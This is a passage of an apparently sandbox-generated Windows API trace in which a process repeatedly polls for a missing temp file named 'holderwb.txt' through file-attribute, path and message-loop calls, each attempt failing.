	[0099.855] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.856] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.856] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.856] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.856] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.857] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.857] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.857] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.858] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.858] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.858] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.858] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.858] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.858] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.858] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.859] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.860] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.860] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.860] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.860] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.860] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.860] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.861] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.861] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.862] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.862] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.862] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.862] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.863] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.863] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.863] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.863] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.863] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.864] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.864] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.865] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.865] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.865] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.865] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.865] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.865] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.865] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.866] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.866] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.867] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.867] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.867] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.867] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.867] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.868] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.868] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.868] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.869] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.869] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.869] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.870] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.871] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.871] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.871] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.871] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.871] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.871] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.872] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.872] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.873] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.873] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.873] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.874] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.874] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.875] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.876] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.876] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.877] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.878] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.878] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.878] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.880] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.880] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
